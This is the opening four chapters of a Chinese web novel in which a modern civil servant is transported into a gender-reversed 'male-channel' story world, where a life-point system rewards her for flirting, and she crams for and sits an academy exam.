《穿到男频性转文后,她爽翻了》
1. 第 1 章
夏日熹微的晨光漫过三重垂花门,穿堂风掠过九曲回廊,池塘内的蛙和树上的鸟儿争相发出清早的第一声鸣啼,你方唱罢我登场。在这乱哄哄时,雕梁画栋中,传出一声似有若无的叹息。
“唉。”年方二八的少女躺在镂金错彩的拔步床上,身下三重锦衾,身上一件轻薄的素纱衣,盖着柔软的蚕丝绫被,呆呆的望着房顶。
她依稀记得昨晚她刚刚刷完手机,睡前嘀咕了一句:“这世界能不能像爱男一样爱我啊?”
然后睡梦中便被绑定了男频系统,系统客服……应该叫客服吧?反正就是一位声音听起来苍老且不耐烦的老太太在脑海中告知她,系统会把她送到一个像爱男一样爱女的世界,并且给她男频男主的待遇。
她脑子一热就同意了,当时还暗自好奇,心说我看看哪个世界这么爱女。
穿过来才知道,系统融合了上万本男频小说生成了一本男频性转文,即男频模式的大女主文。在这个世界,女人和男人的权力、地位、社会分工、力量全部逆转。
而她,从一个孤苦无依的二十四岁体制内打工人,变成了嬅国富商陆今朝的长女陆锦澜。
陆锦澜心生欢喜,这初始设置不错啊!
她刚要高兴,脑子忽然被塞进了一段前情。
记忆里一位满身血污的女人怀抱着襁褓中的婴儿,在刀光剑影中奋力厮杀。来人虽被她尽数斩杀,可她也身受重伤。
就在她油尽灯枯之际,一位衣着富贵颇具英姿的女人飞奔着寻来。
“飞卿!”来人抱起伤者,瞬间泪如雨下,“你这是怎么了?”
然而女人此刻已经口不能言,她动了动唇,鲜血从她嘴角溢出。她只能费力的抬起一根手指,指向襁褓。
来人瞬间领会了她的意图,从襁褓中摸出一张字条。不知那人看到了什么,神情大骇,但还是握住伤者的手,坚定道:“你放心。”
记忆到此结束,陆锦澜琢磨着,那婴儿就是她。
她想,她是这本系统生成书的主角。画面里一共三个人,那两个女人都不是她,系统总不能给她塞一段和她无关的记忆吧?
如果是婴儿时期就被追杀,多半是身世有问题,难道我不是陆今朝的亲生女儿?
她立刻求助系统,「请帮我查询我的真实身份。」
「对不起,暂时无法提供该服务。未知悬念,需要宿主自行探知。」
陆锦澜皱眉,「那你这个系统是干嘛的?」
「请点击使用说明,详细了解。」
陆锦澜一了解不要紧,吓出一身冷汗。
使用说明里写着,宿主必须完成系统任务累计生命值,生命值清零则体验结束,宿主将在书中和现实世界同时死亡。
陆锦澜气得咬牙,破系统想要我命?这么关键的事儿不早说,一个搞不好我可能就英年早逝了。
初始生命值为5,她能看到自己脑海中的五个小绿格,可怜巴巴的。
系统有奖惩机制,宿主可通过男频行为触发奖励,赚取生命值。生命值不仅代表着宿主的寿命,也是系统内的通用货币。生命值达到一定数值后,可以找人工客服开启系统商城,兑换所需。
人工客服在线时间早九晚五,其余时间如遇系统故障,可联系智能客服。
好家伙,这系统还挺人性化的。
陆锦澜生性乐观,心想:既来之则安之,这儿再差也不会比原世界差,毕竟这是一个爱女的世界。
五天时间,够她慢慢摸索的。
她正想着,有人轻声叩门,清亮的男生柔声询问:“大少娘,您醒了吗?”
【注:《木兰辞》有句‘不闻爷娘唤女声’,用爷娘二字指代父母,二者平级而论,所以本文以娘替换爷,视为尊称敬语。】
陆锦澜一愣,「大少娘?咱这是女尊文吗?」
客服冷淡的回答:「男频性转文。」
她撇了撇嘴,对屋外道:“醒了,进来吧。”
门一开,一个十六七岁相貌清俊的男仆端着水盆快步进来。
他的脑袋旁边浮现着系统给的身份提示:一等男仆,庆儿。
陆锦澜秉着少说少做的原则,谨慎的坐到床上,刚要穿鞋,背后忽然被重重的打了一拳。
“哎呦!”她疼得大叫一声,捂着吃痛的肩膀拧紧了眉。
庆儿吓了一跳,手中的水盆摔在地上,忙冲过来,紧张道:“您怎么了?”
陆锦澜连连摆手,此刻系统客服正在提醒她「宿主已触发新手任务,需对新出场的男性角色细细打量,并对其重点部位凝视片刻。」
陆锦澜万分无语,「这太猥琐了吧?」
系统所说的男频行为,难道就是这类龌龊事?
她还来不及细想,脑海中的五个小绿格噔一声变为四个,随后又是不知从哪来的一拳打在她背上。
这两拳仿佛打破了她的动脉血管,那生命值噔噔噔往下掉,瞬间从5变为2了。
此刻命在垂危,陆锦澜也不管三七二十一了,赶紧盯着庆儿上下打量一番,并完成凝视重点部位的系统任务。
该说不说,庆儿长得不错,一双眼睛水汪汪的,有几分呆萌气。腰带系得很紧,勾勒出一截窄腰,虽然只有一米七五左右的身高,但比例十分优越。
庆儿注意到陆锦澜直白的目光,有些不好意思,“您……您看什么呢?”
“没什么……”话音未落,陆锦澜又哀嚎一声捂着另一侧膀子栽倒在床上。
她又触发了第二项新手任务,系统要求她对异性随口撩,并达到让对方脸红心跳的效果。
这系统是个急性子,也不给人反应时间,火急火燎的发布任务,她还没琢磨出怎么撩,系统就判定她违背指令,又打人又扣分的。
客服严肃的提醒她「此刻你的生命值为1,请谨慎操作。」
看着脑袋闪烁着的一丁点生命条,陆锦澜有一万句脏话想骂。欲哭无泪,她不擅长撩人啊,真是强人所难。
什么撩啊,不就是调戏吗?我又不是韦小宝。
哎?她脑子里飞快了的过了一下电视剧的油腻桥段,有了!
陆锦澜咬牙突破心里障碍,艰难的开口:“庆儿,有人打我,你快抱住我。”
“谁打你?我什么都看不到啊。”庆儿也被吓到了,慌里慌张的抱住陆锦澜的背,在空气中挥舞着手臂,跟驱鬼似的。
陆锦澜看着他紧张的神情噗嗤一笑,“骗你的,没人打我,我就是想让你抱我一下。”
“你……”庆儿脸一红,起身就走。
看着他仓惶跑掉的背影,陆锦澜苦笑着摇了摇头。
叮!系统响起悦耳的提示音。
「检测到宿主已完成两项新手任务,但由于该任务均在系统督促下完成,并未触发奖励……」
陆锦澜的火腾一下就
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上来了,“喂!你没事吧?别太过分啊!”
客服忙道:「请宿主不要激动,以上两项任务已纳入日常行为范畴,宿主可随时运用该行为赚取生命值。」
陆锦澜倔劲发作,横道:“我不赚,凭什么这么对我?规则都是你们定的,我一点转圜的空间都没有。新手连试错机会都不给,上来就要我命,黑心资本家也没有这么狠的。老娘不玩了,要我命拿去,不就是死吗?有本事现在弄死我。”
她说完直挺挺的躺在床上,一付摆烂等死的样子。
陆锦澜承认她有赌的成分,但这种完全被压迫毫无反抗余地的感觉非常不好,直戳她的逆鳞。这么不自由,不如死了算了。
「不是能读取我的意识吗?来读啊,看看我是不是吓唬你。什么破系统,我一点奖励没拿到,还挨了顿打。这叫像爱男一样爱我?这不是像虐女一样虐我吗?」
「误会。」客服老太太语气开始温和:「没有这个意思。只不过新系统刚刚运行,可能在有些地方未关注到宿主体验。我给你申请三粒止痛药,每粒可以恢复0.5生命值。」
「就这?」
「我会反馈让系统延长宿主反应时间,一定程度上降低任务难度。另外,我在线期间,你可以随时寻求客服指导和帮助。」
陆锦澜撇了撇嘴,条件不错,但她想再博弈一下。
「那我刚刚失去的生命值怎么办?」
老太太沉默片刻,仿佛从来没遇到过这么难缠的宿主。
就在陆锦澜准备妥协的时候,叮!一声悦耳的提示音响起。
系统提示新手补偿礼包已到账,生命值+10!
生命条唰一下,延长十倍。她一个鲤鱼打挺翻身下床,“谢谢阿姨,我调整好了。”
老太太咬着牙深吸一口气,「过了新手期,就不能讨价还价了。记住,多做男频行为,才能赚取生命值。先系统一步,才有机会触发高额奖励,赢得丰厚奖赏。」
懂,先系统一步,就是领会系统精神。目前已知男凝和随口撩可以赚取生命值,照着这个思路想下去……
陆锦澜心中隐约有了策略,不过需在实践中来验证。
目前虽然有了11个生命值,但要是被惩罚,眨眼就没。身世的问题以后再说,她先解决生存问题。
稳扎稳打,先赚一个月的生命值再说。
陆锦澜来到院子里,无心欣赏她宽敞豪华的宅院,只是略略扫了几眼,便又开始思忖着何为男频行为何为男频精神。
肩上忽然一沉,庆儿不知何时返回来,将一件披风披在她身上,温声劝慰:“虽然是夏日,清早还是有些凉,您穿上点吧。”
陆锦澜暗道一声对不起,庆儿啊庆儿,你自己送上来,我只能拿你做试验了。
她眉梢一挑,笑着开口道:“你这么关心我?那就帮我系上吧。”
庆儿总感觉大少娘今天怪怪的,怪会逗人开心。
他微笑着娴熟的系着披风,翻飞的指节却忽然被陆锦澜握住,庆儿一愣,心跳猛地乱了节奏。
叮!恭喜解锁垂涎美色随手占便宜行为,生命值+15!
陆锦澜高兴且愧疚的想补偿庆儿点什么,身后忽然传来一声咳嗽。
刚刚还眉眼含笑的庆儿看到那人连忙缩回手,慌张的后退几步。
陆锦澜有经验,她暂且按兵不动维持着背对的姿势,并咨询客服:「谁啊?」
2. 第 2 章
系统客服温馨提示,「来人是陆今朝的正房夫郎,严氏。」
此时,严氏正压低了声音训斥庆儿。
“穿个衣裳拉拉扯扯的,大家都是男人,别以为我不知道你怎么想的。收起你那些花花肠子,再不老实小心我把你打发出去。什么东西?好好地娘们儿都让你带坏了。”
庆儿低着头不敢说话,陆锦澜一咬牙豁出去了。人生如戏,看我演技。
她转身一把抓住严氏的手腕亲热道:“爹,是我抓着他的手,您大清早的就别发脾气了。庆儿,你也别在这儿杵着了,去沏杯茶。”
严氏被她拉的一愣,鲜少见到女儿对他这样亲热。
陆锦澜见他大概三十六七岁,穿金戴玉,仪表堂堂。虽然眼角已然有了岁月的痕迹,但年轻时必定是个美男。
陆锦澜仔细打量了一番,夸赞道:“您今天气色真好,真是风姿绰约风韵犹存。这身衣裳搭得也好,母亲见了一定喜欢。”
叮!系统响起悦耳的提示音。
客服老太激动的告诉她,「恭喜宿主领悟到不分任何身份,凝视一切异性的男频精神。已触发进阶奖赏,生命值+30,解锁商城兑换功能!」
陆锦澜脸上漾起得意的微笑,果真让她揣摩出男频精髓了。
她刚才努力回忆了一下看过的男频文,大部分明晃晃的开后宫。明面上恨女厌女的都不说了,哪怕是层次稍微好点的,也不放过任何一个出场的异性角色。
男主看上的必定是肤白貌美前凸后翘,其他异性无论任何身份,也逃不过男主凝视的目光。年纪小的含苞待放,年纪大的风韵犹存。那股味儿冲得,啧啧。
所以,她领悟到的第一点男频精神,就是面对异性时抛弃道德感。
这种行为倒是不难学,唯一的难点在于她是个道德高于人类平均水平线的女人,要突破自己的心理障碍。
当然,在系统的死期逼迫下,她顺利突破了。
虽然刚刚来到这个世界,但她迅速领会到一句话:人,是环境的产物。
在这个女尊男卑的世界里,人物的状态不断突破她的认知。
比如,严氏作为陆今朝的正夫,正是担忧色衰爱弛的年纪,有严重的容貌焦虑。
他听见陆锦澜夸赞他,不由得心花怒放,嘴上却仍不好意思道:“一大早拿你爹玩笑,读书不见你用功,哄人的功夫倒是见涨。”
陆锦澜笑了笑,“怎么会呢?孩儿说的都是实话,发自肺腑的。”
严氏是带着早餐来的,他拉着陆锦澜坐下,身后的男仆立刻将食盒打开。
“你母亲一大早出去了,定会在外面吃。你两个弟弟还在男学住着,咱们父女俩正好安安静静吃顿饭。”
严氏一边给她盛汤,一边忍不住絮叨起来。
“你娘隔三差五就有应酬,那些年轻的小男儿看见你娘眼睛都放绿光。爹真是防不胜防,家里有个宋氏已经够碍眼的了,真怕再来一个年轻俊俏的……”
“不会的。”陆锦澜嘴里喝着粥,轻声安慰着,忽听严氏说了句:“都怪爹的肚子不争气,只生了你一个女儿……”
噗!陆锦澜一口粥呛在嗓子里,咳得满脸通红。
严氏大惊失色,“怎么了?快漱漱口。”
陆锦澜连连摆手,“我……我弄到衣服上了,爹你先吃,我换个衣服再来。”
她连忙逃回屋,冷静一下。
「我听到了什么?男生子?」
「当然,这是性转文。性转过后,母职惩罚变父职惩罚了。」
「我的老天奶啊!这么说,我在这个世界也不用生孩子,还能让别人给我生孩子?」
「没错。」
陆锦澜心底涌起一种异样的喜悦,她终于真切的体验到了性转的爽感。
「不用我怀胎十月,就能拥有自己的孩子,我这个繁殖欲好像突然上来了。这样想,好像有点坏,我岂不是跟那些男人一样了?」
客服沉默几秒,忽然反问:「你为什么不能和他们一样?」
是啊,为什么男人只要不X不X就是好男人?为什么女人不管做得多好,只要被人挑出一点错处,就不是好女人?
女人做受害者,都得是完美受害者,否则就是居心不良别有用心。
在那样的环境下,当男人怎么会不爽?他们有无限宽广的生存空间。
女人怎么会轻松?到处都是雷区。逼得女人战战兢兢,生怕行差踏错稍有差池,立刻成为被围剿的目标。
最可悲的是,哪怕一个男人犯下了天大的事,他的同性也会为他找理由开脱。而一个女人做一丁点儿错事,超高道德感的同类已经抢先去攻击坏女人,以此割席证明自己的好了。
狗屁的道德感,去他爹的!
陆锦澜立刻表示:「我又悟了,从现在开始我要认真的学习男频行为,我不怕别人说我是个烂人。
我要堂而皇之的烂,心安理得的烂。我要烂得声名大噪,烂的流传千古。
我要以后的女子都能理直气壮的说,我做成这样你还不满意?我没像陆锦澜那样,你就知足吧。
谁规定必须要比好?我就要比烂!」
陆锦澜比烂一念起,顿觉天地宽。
她换了身衣服,雄赳赳气昂昂的回到餐桌上,恶狠狠的咬了口馒头。
她看着严氏认真的说:“爹,我以后要娶十个八个男的,让他们给我生一大堆孩子。”
没想到严氏一脸慈爱的看着她,“好,都依你。”
“啊?你不觉得我这样太过分吗?”
严氏两手一摊,“这有什么?我和你娘只有你一个女儿,你两个弟弟迟早要嫁出去的。宋氏虽生了个女儿,到底是小爹养的,怎么可能继承家业?咱们陆家家资丰厚,以后还不都是你的?爹的指望都在你身上。
你想娶十个八个也好,娶八十个也好,咱家又不是养不起?只要你能善待他们,你就是个好女人好妻主。”
陆锦澜眨了眨眼,“可……可刚才你不还说,我娘有个宋氏,您碍眼吗?”
“哎呀,爹就随口一说。女人嘛,三夫四郎很正常的,我怎么会和那些爱争风吃醋的笨男人一样计较呢?我是不喜欢宋氏,但我心里知道,你娘待我是极好的。爹有你娘宠着,有你孝顺着,莫说这西州城,便是整个大嬅国,能有几个像我这样得意的正夫?”
陆锦澜连连点头,她懂了,霸总娘和娇夫爹。女宝爹生了女宝之后,把自己归到女人阵营里了,根本不考虑男人的处境。
人,果真是环境的产物。
不过严氏张口闭口都说他生的自己,难道他不知道陆锦澜是从外面带回来的?还是说,她小时候被人掳走过,后来找回来了?
陆锦澜脑子里的念头纷纭而过,嘴里食不知味的咀嚼着。
外面忽然一阵吵嚷,一道道门高声传话进来,都道:“老娘回来了!老娘回来了!”
陆锦澜急忙放下碗筷,转头一看院子里呼啦啦进来了十来个年轻男仆,手里都提着三层食盒。
管家邹姨笑道:“大夫郎和大少娘先等等,老娘还没吃呢。她特地命我们在江湖菜馆打包了各式小菜早点,带回来和夫郎少娘同享。现下老娘换衣服去了,稍后就来。”
严氏眼睛一亮,“你看,你娘多惦记我们。这江湖菜馆可是新开的,火爆极了,小菜最是鲜美地道。”
他说着便一叠声吩咐男仆们,快抬两张大桌子来,将菜品摆上。
陆锦澜自是不用系统提点,赶紧主动把这些年轻帅气的小男仆们凝视个遍,时不时放送个电眼,惹得小伙子们一个个脸带红云。
系统叮叮叮响个不停,不一会儿就收割了60个生命值。
就是这个轻松入账的感觉,爽!
陆锦澜正摸着鼻子暗爽,身后传来一声轻唤:“澜儿。”
陆锦澜缓缓回过头,只见陆今朝带着威严的笑意大步迈向主位,两侧的男仆随之而动。
左侧
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两仆抬着梨花木太师椅迅速放到她身后,右侧两仆将碗筷茶盏放到她面前。四人手脚利落,躬身进退。
人影交错间,陆今朝端坐当中,目光炯炯的看向夫女,气度非凡。
陆锦澜不禁看呆了,她娘真是个顶天立地大女人。
严氏见她愣着,笑着推了她一下,“你这孩子,想什么呢?快去给你娘请安啊。”
请安什么礼仪她不知道,但陆锦澜想,她亲热点儿总是没错的。
何况她此时此刻,真是发自肺腑的崇拜陆今朝。
她快步上前搂着陆今朝的肩膀,俯身趴在母亲肩头,幸福感油然而生。
“给母亲请安,母亲大人万安。”
陆今朝笑着摸了摸她的头,“都十六了,还像个小孩子似的撒娇,莫不是做错了什么事,提前卖乖吧?”
严氏笑道:“我也说呢,这孩子今日格外乖巧。”
一家三口说说笑笑,坐下来享用一大桌子的美食。
蛋黄焗虾仁金黄酥脆,香煎嫩豆腐软烂入味,蟹肉羹鲜美无比,不知名的凉拌小菜好吃得可以撑死人……
放眼望去,咸甜酸辣什么味道都有,就是没有苦。
阳光特别温和,一切恍若梦中,陆锦澜只觉浑身都轻飘飘美滋滋的。
陆今朝道:“澜儿,你书院的课快上完了,该学着料理家业。下个月是我的寿辰,我意那天正式立你为陆家少主,带你好好认识一下咱家各地码头商铺的管事。”
陆锦澜一听,还有这种好事?连忙表态道:“母亲放心,我一定好好努力。”
可陆今朝紧接着又道:“但你要答应我一个条件,书院的结业考试,至少得考个两百名。到时候寿宴上那么多人,问起你的成绩来,总得说得过去才是。”
陆锦澜心里虽然咯噔一下,但当场痛快答应。她想自己毕竟是主角,不会太拉胯。再者,她从小到大就没为考试发愁过。
她是天生的专注力惊人,过目不忘。要不是出身太差,老家教育资源落后,加上巨大的信息差,她也不会考了个一流院校,却不管不顾的选了个汉语言专业。搞得工作不好找,临时转战考公去了。
国考可是千军万马过独木桥,别人忙着报班集训,她却忙着还助学贷款。但即使一边打工一边考公,她报考的岗位,是三万个人争唯二的两个名额,她也能轻取其一。
陆锦澜不信了,考个两百名还能难住她?
她让庆儿把她的书童找来,洗墨那丫头天真无邪的,她几句话就套了个大概情况。
结业考试在后天,这两天书院放假,同学都在家温书呢。也就是说,她还有两天两夜的复习时间。
陆锦澜翻了翻面前的书本,谢天谢地,只是繁体字而已,她辨认起来并不难。但要用毛笔字书写,还得着手研究厚厚的一摞课本,真是时间紧任务重了。
两百名?陆锦澜摸了摸下巴,“书院一共多少人来着?”
洗墨:“两百多人。”
陆锦澜不敢相信自己的耳朵,“两百多多少?”
“两百零三个啊,您不是……不是经常两百零三名吗?”
陆锦澜拍案而起,“你说我常年倒数第一?”
洗墨连忙否认,“不,不是这样的,上个月是殷少娘倒数第一,还有去年……八月,是孙少娘倒数第一。”
陆锦澜若有所思的点了点头,听明白了,她和这个姓殷的和姓孙的,应该是常年包揽后三甲。
震惊之余,她不由得喃喃自语:“两百多人都能考倒数第一,我是猪脑子啊?这样我娘都肯把家业交给我,未免太溺爱了吧?”
洗墨忙道:“您不能这么说,依我看,您聪明着呢,只是不用心学,没把聪明劲儿用到读书上。”
听到这熟悉的话术,陆锦澜苦笑着将书本啪一声扣在脑袋上,不想睁开眼。
她又悟到了一个事实:耀祖竟是我自己。
「阿姨,咱这个系统有考神附体功能吗?」
3. 第 3 章
考神附体功能肯定是没有的,系统商城都快被她翻烂了,目前解锁的商品只有几本初级的武功秘籍。
《掌法入门》、《拳法入门》、《腿法入门》、《轻功修炼手册》、《内功修炼手册》……一本二十个生命值,暂无折扣。
对了,还有一款打特价的止痛药,一生命值即可兑换三颗。
客服老太温馨提醒:「止痛药你不用兑换,我给你申请了几粒,说不定过两天就批下来了。」
「知道了,我就这点生命值,得留着用在刀刃上。」
生命值98,不犯错的情况下够活三个月,暂时不用提心吊胆了。
练功的事儿可以往后放放,先把考试这关过了吧,这才是火烧眉毛的急事。
陆锦澜迅速摒除杂念,从认字、写字、看书开始,激情备考。
起初陆家人没有发觉异常,直到陆锦澜午饭晚饭都在书房吃。
严氏心疼坏了,不由念叨陆今朝:“哪有你这么做娘的?一点也不知道心疼孩子。陆家的家业不传给澜儿,难道传给那个小爹养的?立少主又不是立储君,你干嘛这么逼她?瞧给孩子吓得。”
陆今朝微微皱眉,“夫郎慎言。”
严氏瞧着她的脸色,喏喏的坐下,只是低声嘀咕:“两百名和两百零三名也没差什么,随便她考吧。”
陆今朝横了他一眼,“两百名好歹脱离倒数后三名,你一个男人懂什么?慈父多败儿,澜儿就是被你惯坏的。”
严氏抿着唇不吭声,陆今朝叹了口气,“罢了,我去和她说。”
陆锦澜苦读了一天,庆儿和洗墨轮番劝。
庆儿:“少娘,算了吧,就算您没考进两百名,老娘和夫郎照样疼您,何苦受这个罪呢?”
陆锦澜:“我也不全是因为母亲的要求,这不是结业前的最后一场考试吗?我就是不想考倒数。”
洗墨:“可您都学了一天了,天都黑了,总得歇歇吧?”
陆锦澜甩了甩酸疼的手,确实很累。
好在她那个无助于找工作的汉语言专业有书法课程,毛笔字、粉笔字、钢笔字三笔教学,她有扎实的基础。不过有两三年没写了,毛笔这东西丢下一阵子,手就没那么稳。
万幸的是陆锦澜之前的字十分难看,那么她现在写不好也没什么。如果之前写得好看,现在写得烂,反而不好交待。现在嘛,只要她找到状态,就能轻松赶超了。
陆锦澜起身直了直腰,“我躺一会儿,半个时辰后叫我。”
洗墨忙道:“我给您按一按,坐了一天了,仔细腰疼。”
庆儿也急忙拿了热水打湿的软布,给她擦拭着蹭上墨汁的手,皱着眉按揉起来。
陆锦澜抬了抬沉重的眼皮,便瞧见庆儿微红的眼眶,她笑着反握住他的手,“呦,心疼了?”
庆儿瞥了眼一旁的洗墨,虽然难为情,还是微微点了点头。
陆锦澜笑着闭上眼,“有人心疼我不辛苦。”
叮!系统提示,生命值+5。
陆锦澜暗自感慨:撩人这方面我指定有点儿天赋,过去我一直单身,纯纯是被大环境耽误了啊!
洗墨按揉的力道刚好,让她昏昏入睡。陆锦澜打了个哈欠,“我眯一会儿。”
庆儿温声劝道:“您就别撑着了,困了就睡,明日再说吧。”
“那怎么行?我的书还没看完呢。母亲对我寄予厚望,我想给她个惊喜。人争一口气,佛争一炷香,凭什么我次次垫底?我偏要争上一争。”
陆锦澜嘴里咕哝着,一翻身,迅速的睡着了。
庆儿和洗墨连忙给她脱鞋盖被,一转身才瞧见门口的陆今朝。
“老娘。”两人连忙解释:“少娘一直在复习功课,刚刚躺下,她……”
陆今朝一摆手,“我知道,你们下去吧。”
陆锦澜睡梦中只觉一只温热的手掌贴在她的脸上,熨帖极了。
再次醒来,外面已经漆黑一片,屋子里没有点灯,只能依稀辨认出床边端坐的侧影。
陆今朝静默而挺拔的坐在那儿,不知在想些什么。
“娘?”
“醒了?”陆今朝回过神来,“我怕烛火晃到你,没让人点。”她说着叫门外的老仆进来送灯。
烛灯高照,整个屋子瞬间亮了起来。
陆锦澜揉了揉眼,“您怎么在这儿?我睡了多久了?”
“才一个时辰,听说你在苦读,我来看看。你爹在给你熬参汤,等会儿喝了早点睡下,不必太用功。”
陆锦澜不由苦笑,这算什么用功啊?这跟备战高考天天披星戴月比起来,不值一提。再说,要不是之前底子太差,她也用这么恶补。
可见大少娘从小到大真是没吃过苦,瞎胡混了一十六载,全家还当她宝似的。
陆锦澜感觉这人生瞬间从困难模式切换到简单模式,她还真有点幸福得不适应。
复习个功课,一堆人跟着伺候。陆今朝探望完前脚刚走,严氏便带着爱心参汤来了。
陆锦澜喝了几口参汤,吃了半块点心,又赶快回到书桌前。
严氏:“就吃这么一点儿怎么行呢?身体受不受得了啊?”
“哎呀爹,您就别管我了。吃饱了容易困,我还有三本书没背呢。您回去休息吧,我饿了会吃的。”
严氏无奈的叹了口气,“难得你这么上进,我不吵你了。”
他对洗墨和庆儿道:“你们好好照顾着,别让大少娘休息得太晚。”
可这种情况注定是不能早睡的,夜一深,陆锦澜便让两人回去休息。
庆儿忙道:“这怎么行?哪有主子苦读,下人反去休息的道理?再说,我们都走了,您想喝个茶都没人伺候。”
陆锦澜一笑,“那我还能渴死吗?我有手有脚,自己会去找水喝。你们忙了一天了,早点回去休息吧。
什么上人下人的?你们打份工而已,到点儿上下班,赚的是应得的辛苦钱,不要自己看低自己。”
庆儿和洗墨越听越迷糊,彼此对视一眼,噗通跪下。
“我们绝对不敢这么想,我们对陆家对您忠心耿耿,绝对安分守己,不敢失了奴才的本分。”
“……”陆锦澜一时愕然,封建社会等级森严,她现在说这话,确实有点太超前了。
“好吧,总之我喜欢静,你们不用一直守着我。”
庆儿道:“那让洗墨回去吧,我在这儿伺候着。”
洗墨不满:“我一个老娘们儿,怎么能让你一个男儿家在这儿值夜呢?还是我来吧。”
“我来吧,照顾人这事儿你们女人哪做得来啊。”
“我来吧,我和少娘都是女人,照顾起来更方便。”
两人在一旁叽叽喳喳,陆锦澜埋头写字,不由得啧了一声,“别吵了,要不都留下,你俩就在榻上睡吧。”
屋内瞬间一片寂静,庆儿讷讷道:“您说什么呢?女男有别,我一个黄花大小子,怎可……”
陆锦澜差点忘了这茬了,赶紧把庆儿撵出去,让洗墨躺下睡觉,耳边终于安静了。
陆锦澜挑灯夜战到黎明,睡了两个时辰,匆匆吃了口饭,又继续用功。
如此恶补了两天两夜,心里还是没有底,毕竟还有半本书
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没过目呢。
在去考试的路上,陆锦澜依然捧着书争分夺秒的记忆。
西州书院,西州境内的顶级学府。
嬅国一十七州,西州富庶名列前茅,商贾颇多,文化上却显得相对贫瘠。也不知是风水还是土地的原因,好些年都没出文人了。
这些商贾之家不信邪,为了家族后代,大家出了不少钱。以西州首富陆今朝为首,出资建了规模宏大的书院,聘请全国名师,奈何学生就跟榆木疙瘩似的,资质太过平常。哪怕在西州是不错的,和全国学子一比,就不够看了。
更别提陆锦澜这种,在西州就吊车尾的差等生了。
陆锦澜听说这些事之后,都替陆今朝心疼。这跟花几十万送孩子上补习班,而孩子只考十几分有什么区别?
她严重怀疑,她这个就读名额是钱砸出来的。这么大个西州城,她这一届只招了两百零三个人,就有她这个不学无术的。幸好只好招了两百多个,要是招了八百多个,说不定她要考八百多名了。
马车晃晃悠悠,洗墨提醒:“大少娘,咱们到了。”
陆锦澜刚一下马车,正瞧着西州书院匾额出神,肩膀忽然被人撞了一下。
一个娇憨的年轻女子亲昵的搭着她的肩膀,“陆少,好久不见啊。”
另一个圆脸白白胖胖的姑娘亲热得挽着她的手臂,“你怎么眼底乌青呢?没睡好啊?”
陆锦澜瞥了眼她们脑侧的提示条,得知这两位就是和自己轮流做倒数第一的孙少娘和殷少娘。
“我这两天复习功课,没怎么睡。”
两人愣了一下,放声大笑。
“你?复习功课?哈哈哈哈……”
“我说陆大少,你是不是怕我们没睡醒给我们讲笑话?你那课本跟刚发下来一样新,你还复习?别逗了。”
陆锦澜正笑着和二人闲聊,身侧忽然飘过去阴恻恻的一句:“差生就是差生,复习也没用。早就该退学,把名额让人有需要的人。”
三人脸色一变,殷少娘不由叫住那人,“吴思群你站住,少阴阳怪气的,是个娘们儿就把话说清楚。”
吴思群转过头,冷冷道:“抱歉,我只是忍不住说出事实而已。”
孙少娘忍不住打抱不平,“大家都是同学,你怎么这样说话呢?”
吴思群冷哼一声,“我讨厌蠢货,不行吗?”
“哼,你有多聪明啊?你上次不过考个一百八十名而已,轮得到你瞧不起我们吗?”
吴思群微微一笑,“在下不才,是一百八十名,但这个排名可比你们倒数一二三高出了一大截。”
陆锦澜看身边这两位气得牙痒痒,笑道:“不必无谓争执,咱们以这次考试定输赢。也不赌别的,谁考的差,谁就站在书院门口大喊三声‘我蠢钝如猪’,如何?”
话一出口,孙少和殷少吓了一跳。
吴思群爽快应道:“好,我考过你们三个,你们站在这儿喊。你们三个任何一个人考过我,我喊。”
陆锦澜:“一言为定。”
殷少、孙少:“哎?不是,打赌之前,能不能和我们商量一下?”
“怕什么,我对自己有信心。一百八十名就是这水平?如此傲慢无礼,有什么可怕的?我连她都考不过,我找块豆腐撞死算了。”
陆锦澜拉着两人进了考场,考场内吵吵嚷嚷,吴思群不时投来挑衅的目光,直到师傅进门。
六十多岁白发苍苍的老太太用教鞭敲了敲桌子,“肃静,考试开始。”
“嗯?”陆锦澜拿到试卷不禁一愣,怎么考这个?
她押错题了。
4. 第 4 章
陆锦澜一直以为这个世界考八股文,就是从书本中摘取一个句子,让考生按照严格的八股格式做文章。
她头脑灵活生性散漫,最讨厌这些条条框框。所有文体中,陆锦澜最烦的就是八股文。
可为了应付这场考试,这两天她搜肠刮肚,做梦都在研究八股文的写法。
结果打开试卷一看,考的是策问和诗赋。
陆锦澜心中涌起一丝微妙的感觉,虽然之前的准备没什么用,但又有一种终于可以大展拳脚的畅然。
策问的题目非常务实,一题问如何防止官员贪污,另一题问嬅国边境和邻国时有冲突,该如何治理。
陆锦澜一看,这不跟国考的申论一个性质吗?作为考公圣体,这两道题目真是撞到她心坎上了。
现代读书人的优势是博古通今,策问这两个问题堪称千古问题,历朝历代都有不同的解决方案,各有利弊。她可以择优选取,组织词句,转化成文言文写出来即可。
陆锦澜略微思索片刻,提笔作答。
在考卷上大谈专款专用,高薪养廉,监督官员资产等等。
片刻后忽然收起笔,眉心微蹙,暗暗思索:把权力关进制度的笼子里,这句话该怎么写来着?
她笔尖微顿,随即从容写道:“以制为笼,囚权于其中。”
论完“权柄制于法度之笼”的事儿,又写了半天边境应敌之策。
陆锦澜在现代做的是民政基层,她哪里懂得什么边境治理?全靠文学素养和历史经验,打得一拳开免得百拳来,她在作答中极力主战。
两道策问做完,手腕都写酸了。
外面传来一声锣响,监考提醒考生,“还有一刻钟。”
十五分钟?诗赋题我还没看呢!
陆锦澜暗道糟糕,匆忙的翻到第三张,对着“不限题目不限韵”的要求,开始冥思苦想。
正常人不学作诗,但汉语言专业多少有点不正常,所以涉猎了一点。
她倒不是完全不能作,可时间太紧了,而且她也不知道同学们都是什么水平,怎么想都觉得不要冒然自作比较好。
为了冲一个好名次,当然是从脑海中拿来一首千古名篇比较稳妥。
但问题是……用别人的,是不是不太好?
此念一起,立刻掐灭。
啊呸!男人用得,我用不得?各位古人对不起,借一篇给俺应个急。
陆锦澜略微天人交战了一下,立刻提笔写道:《春江花月夜》——梦会张若虚偶得一作。
春江潮水连海平,海上明月共潮生……
这首诗在现代被评为孤篇盖全唐,她就不信她的同学人均诗仙诗圣,能把她比下去。
陆锦澜奋笔疾书,赶在收卷前写完最后一个字,成功交卷。
不管三七二十一,反正考完了,陆锦澜一身轻松。
回到陆家,开始体验她陆家大少娘的潇洒生活。
有个做首富的娘,家里银钱是花不完的。陆家吃穿用度,都是西州城里一等一的好。
家里仆人近百,俯首帖耳唯命是从,做什么都有人伺候,周到的让她这个现代人适应了好几天才勉强习惯。
